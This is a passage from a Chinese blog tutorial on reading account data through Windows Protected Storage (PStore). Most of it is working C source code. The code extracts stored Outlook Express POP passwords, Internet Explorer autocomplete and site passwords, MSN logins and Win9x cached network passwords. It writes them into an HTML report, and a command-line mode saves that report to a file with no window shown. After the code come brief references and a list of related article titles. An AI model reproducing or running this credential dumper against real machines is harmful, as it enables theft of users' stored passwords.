HRESULT hRes = PStore->EnumItems(0, &TypeGUID, &subTypeGUID, 0, &spEnumItems);
LPWSTR itemName;
while(spEnumItems->raw_Next(1,&itemName,0) == S_OK)
{
wsprintf(szItemName,"%ws",itemName);
char chekingdata[200];
unsigned long psDataLen = 0;
unsigned char *psData = NULL;
_PST_PROMPTINFO *pstiinfo = NULL;
hRes = PStore->ReadItem(0,&TypeGUID,&subTypeGUID,itemName,&psDataLen,&psData,pstiinfo,0);
if(lstrlen((char *)psData)<(psDataLen-1))
{
int i=0;
for(int m=0;m<psDataLen;m+=2)
{
if(psData[m]==0)
szItemData[i]=',';
else
szItemData[i]=psData[m];
i++;
}
szItemData[i-1]=0;
}
else
{
wsprintf(szItemData,"%s",psData);
}
lstrcpy(szResName,"");
lstrcpy(szResData,"");
//220d5cc1 Outlooks
if(lstrcmp(szItemGUID,"220d5cc1")==0)
{
BOOL bDeletedOEAccount=TRUE;
for(int i=0;i<oIndex;i++)
{
if(lstrcmp(OutlookData[i].POPpass,szItemName)==0)
{
bDeletedOEAccount=FALSE;
AddItemm(Save,OutlookData[i].POPserver,"OutlookExpress",OutlookData[i].POPuser,szItemData);
break;
}
}
if(bDeletedOEAccount)
AddItemm(Save,szItemName,"Deleted OE Account",OutlookData[i].POPuser,szItemData);
}
//5e7e8100 - IE:Password-Protected sites
if(lstrcmp(szItemGUID,"5e7e8100")==0)
{
lstrcpy(chekingdata,"");
if(strstr(szItemData,":")!=0)
{
lstrcpy(chekingdata,strstr(szItemData,":")+1);
*(strstr(szItemData,":"))=0;
}
AddItemm(Save,szItemName,"IE:Password-Protected sites",szItemData,chekingdata);
}
// b9819c52 MSN Explorer Signup
if(lstrcmp(szItemGUID,"b9819c52")==0)
{
char msnid[100];
char msnpass[100];
int i=0;
BOOL first=TRUE;
for(int m=0;m<psDataLen;m+=2)
{
if(psData[m]==0)
{
szItemData[i]=',';
i++;
}
else
{
if(IsCharAlphaNumeric(psData[m])||(psData[m]=='@')||(psData[m]=='.')||(psData[m]=='_'))
{
szItemData[i]=psData[m];
i++;
}
}
}
szItemData[i-1]=0;
char *p;
p=szItemData+2;
//psData[4] - number of msn accounts
for(int ii=0;ii<psData[4];ii++)
{
lstrcpy(msnid,p+1);
if(strstr(msnid,",")!=0)
*strstr(msnid,",")=0;
if(strstr(p+1,",")!=0)
lstrcpy(msnpass,strstr(p+1,",")+2);
if(strstr(msnpass,",")!=0)
*strstr(msnpass,",")=0;
p=strstr(p+1,",")+2+lstrlen(msnpass)+7;
AddItemm(Save,msnid,"MSN Explorer Signup",msnid,msnpass);
}
}
//e161255a IE
if(lstrcmp(szItemGUID,"e161255a")==0)
{
if(strstr(szItemName,"StringIndex")==0)
{
if(strstr(szItemName,":String")!=0)
*strstr(szItemName,":String")=0;
lstrcpyn(chekingdata,szItemName,8);
if((strstr(chekingdata,"http:/")==0)&&(strstr(chekingdata,"https:/")==0))
AddItemm(Save,szItemName,"IE Auto Complete Fields",szItemData,"");
else
{
lstrcpy(chekingdata,"");
if(strstr(szItemData,",")!=0)
{
lstrcpy(chekingdata,strstr(szItemData,",")+1);
*(strstr(szItemData,","))=0;
}
AddItemm(Save,szItemName,"AutoComplete Passwords",szItemData,chekingdata);
}
}
}
ZeroMemory(szItemName,sizeof(szItemName));
ZeroMemory(szItemData,sizeof(szItemData));
}
}
}
}
}
//////////////////Cashed PAsses- 9x
struct PASSWORD_CACHE_ENTRY
{
WORD cbEntry;
WORD cbResource;
WORD cbPassword;
BYTE iEntry;
BYTE nType;
char abResource[1];
};
typedef BOOL (FAR PASCAL *CACHECALLBACK)( struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData );
DWORD APIENTRY WNetEnumCachedPasswords(LPSTR pbPrefix,WORD cbPrefix,BYTE nType,CACHECALLBACK pfnCallback,DWORD dwRefData);
typedef DWORD (WINAPI *ENUMPASSWORD)(LPSTR pbPrefix, WORD cbPrefix, BYTE nType, CACHECALLBACK pfnCallback, DWORD dwRefData);
ENUMPASSWORD pWNetEnumCachedPasswords;
typedef struct
{
char *pBuffer;
int nBufLen;
int nBufPos;
}
PASSCACHECALLBACK_DATA;
BOOL PASCAL AddPass(struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData)
{
char buff[1024],buff2[1024];
int nCount;
PASSCACHECALLBACK_DATA *dat;
dat = (PASSCACHECALLBACK_DATA *)dwRefData;
nCount=pce->cbResource+1;
if(nCount>1023)
nCount=1023;
lstrcpyn(buff, pce->abResource, nCount);
buff[nCount] = 0;
CharToOem(buff, buff2);
if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen)
return FALSE;
lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
dat->nBufPos+=lstrlen(buff2)+1;
nCount=pce->cbPassword+1;
if(nCount>1023)
nCount=1023;
lstrcpyn(buff, pce->abResource+pce->cbResource, nCount);
buff[nCount] = 0;
CharToOem(buff, buff2);
if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen)
return FALSE;
lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
dat->nBufPos+=lstrlen(buff2)+1;
return TRUE;
}
void CashedPass(BOOL Save)
{
HMODULE hLib=LoadLibrary("MPR.DLL");
PASSCACHECALLBACK_DATA dat;
dat.pBuffer=(char *)malloc(65536);
dat.nBufLen=65536;
dat.nBufPos=0;
pWNetEnumCachedPasswords = (ENUMPASSWORD)GetProcAddress(hLib, "WNetEnumCachedPasswords");
pWNetEnumCachedPasswords(NULL, 0, 0xff, AddPass, (DWORD) &dat);
char *svStr;
svStr=dat.pBuffer;
do
{
char *svRsc=svStr;
svStr+=lstrlen(svStr)+1;
char *svPwd=svStr;
svStr+=lstrlen(svStr)+1;
char szUser[1024];
char szPass[1024];
AddItemm(Save,"","",svRsc,svPwd);
}
while(*svStr!='\0');
FreeLibrary(hLib);
};
/////////////////////////////////////////
#define TableHeader "<p><b><font color=\"#FF0000\"></font></b></p><table border=\"1\" cellpadding=\"0\" cellspacing=\"0\"style=\"border-collapse: collapse\" bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber1\">"
#define Table "</table>"
#include <commdlg.h>
LRESULT CALLBACK DLgProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
OPENFILENAME ofn;
char szFile[MAX_PATH];
switch (message)
{
case WM_INITDIALOG:
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)LoadIcon(GetModuleHandle(0), MAKEINTRESOURCE(IDI_ICON1)));
if(!iS9x)
SetWindowText(hDlg,"Protected Storage www.hirosh.NET");
else
SetWindowText(hDlg,"Cashed Passwords www.hirosh.NET");
hwndlistview = GetDlgItem(hDlg, IDC_LIST3);
LVCOLUMN lvcol;
if(!iS9x)
{
lvcol.mask =LVCF_TEXT;
;
lvcol.pszText = "Resource Name";
ListView_InsertColumn(hwndlistview, 0, &lvcol);
ListView_SetColumnWidth(hwndlistview, 0, 160);
lvcol.mask =LVCF_TEXT;
lvcol.pszText = "Resource Type";
ListView_InsertColumn(hwndlistview, 1, &lvcol);
ListView_SetColumnWidth(hwndlistview, 1, 110);
lvcol.mask =LVCF_TEXT;
lvcol.pszText = "User Name/Value";
ListView_InsertColumn(hwndlistview, 2, &lvcol);
ListView_SetColumnWidth(hwndlistview, 2, 200);
lvcol.mask =LVCF_TEXT;
lvcol.pszText = "Password";
ListView_InsertColumn(hwndlistview, 3, &lvcol);
ListView_SetColumnWidth(hwndlistview, 3, 100);
EnumOutlookAccounts();
EnumPStorage(FALSE);
}
else
{
lvcol.mask =LVCF_TEXT;
lvcol.pszText = "User Name/Value";
ListView_InsertColumn(hwndlistview, 0, &lvcol);
ListView_SetColumnWidth(hwndlistview, 0, 250);
lvcol.mask =LVCF_TEXT;
lvcol.pszText = "Password";
ListView_InsertColumn(hwndlistview, 1, &lvcol);
ListView_SetColumnWidth(hwndlistview, 1, 150);
CashedPass(FALSE);
}
ListView_SetExtendedListViewStyle(hwndlistview,LVS_EX_FULLROWSELECT);
return TRUE;
case WM_COMMAND:
switch ( LOWORD(wParam) )
{
case IDOK:
ZeroMemory(&ofn, sizeof(OPENFILENAME));
ofn.lStructSize = sizeof(OPENFILENAME);
ofn.hwndOwner = hDlg;
lstrcpy(szFile,"*.*");
ofn.lpstrFile ="pstectedstorage.htm";
ofn.nMaxFile = sizeof(szFile);
ofn.lpstrFilter = "Htm\0*.htm\0";
ofn.nFilterIndex = 1;
ofn.lpstrFileTitle = NULL;
ofn.nMaxFileTitle = 0;
ofn.lpstrInitialDir = NULL;
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
if (GetSaveFileName(&ofn)==TRUE)
{
lstrcpy(SavingFname,ofn.lpstrFile);
if(strstr(SavingFname,".htm")==0)
lstrcat(SavingFname,".htm");
SaveToDisk(TableHeader);
if(!iS9x)
{
SaveToDisk("<tr><td><b><font color=\"#FF0000\">Resource Name </font></b></td><td><b><font color=\"#FF0000\">Resource Type </font></b></td><td><b><font color=\"#FF0000\">User Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
EnumOutlookAccounts();
EnumPStorage(TRUE);
}
else
{
SaveToDisk("<tr><td><b><font color=\"#FF0000\">User Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
CashedPass(TRUE);
}
SaveToDisk(Table);
}
break;
case IDCANCEL:
EndDialog(hDlg, LOWORD(wParam));
ExitProcess(0);
break;
break;
}
}
return FALSE;
}
//
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
if((int)GetVersion() < 0)
iS9x=TRUE;
else
iS9x=FALSE;
if(lpCmdLine[0]==NULL)
{
InitCommonControls();
DialogBox(hInstance, (LPCTSTR)IDD_DIALGMAIN, 0, (DLGPROC)DLgProc);
}
else
{
lstrcpy(SavingFname,lpCmdLine);
SaveToDisk(TableHeader);
if(!iS9x)
{
SaveToDisk("<tr><td><b><font color=\"#FF0000\">Resource Name </font></b></td><td><b><font color=\"#FF0000\">Resource Type </font></b></td><td><b><font color=\"#FF0000\">User Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
EnumOutlookAccounts();
EnumPStorage(TRUE);
}
else
{
SaveToDisk("<tr><td><b><font color=\"#FF0000\">User Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
CashedPass(TRUE);
}
SaveToDisk(Table);
}
return 0;
}
//End of code###################################
5.后记,
文章写的很乱,代码也没怎么说明,如果有看不懂的地方还请原谅。
6.参考文献:
1.MSDN http://msdn.microsoft.com/library/default.asp?url=/library/en-us/devnotes/winprog/pstore.asp
2.Protected Storage http://www.codeproject.com/tools/HirPStorage.asp
- 利用PStore获取帐号信息
- 利用PStore获取帐号信息
- 利用PStore获取帐号信息
- Silverlight 获取Outlook下所有联系人帐号信息
- 获取登录域帐号信息方式之 —-IIS(VB)
- 利用windows组策略首选项缺陷获取系统帐号
- 利用WMI获取硬盘信息
- 利用JAVA获取网上信息
- 利用WMI获取磁盘信息
- 利用DisplayMetrics获取屏幕信息
- 利用DisplayMetrics获取屏幕信息
- 利用DisplayMetrics获取屏幕信息
- 利用Python获取天气信息
- 利用json获取天气信息
- 利用json获取天气信息
- 利用File获取磁盘信息
- 利用DisplayMetrics获取屏幕信息
- linux系统帐号信息
- Cookie读取
- poison ivy 脱壳
- 恢复IE口令:理论与实践
- adb devices 的序列号获取
- C语言的数据结构
- 利用PStore获取帐号信息
- VC中使用TAB Control控件
- 在基于对话框的应用程序中嵌入CSplitterWnd
- 针对卡巴斯基2010的免杀研究
- 证书和签名--试用微软提供的证书测试工具系列
- 窗口站
- 文件类型关联
- http代理服务器工作原理
- 钢市“北材南下”悄然而至 今年力度或更大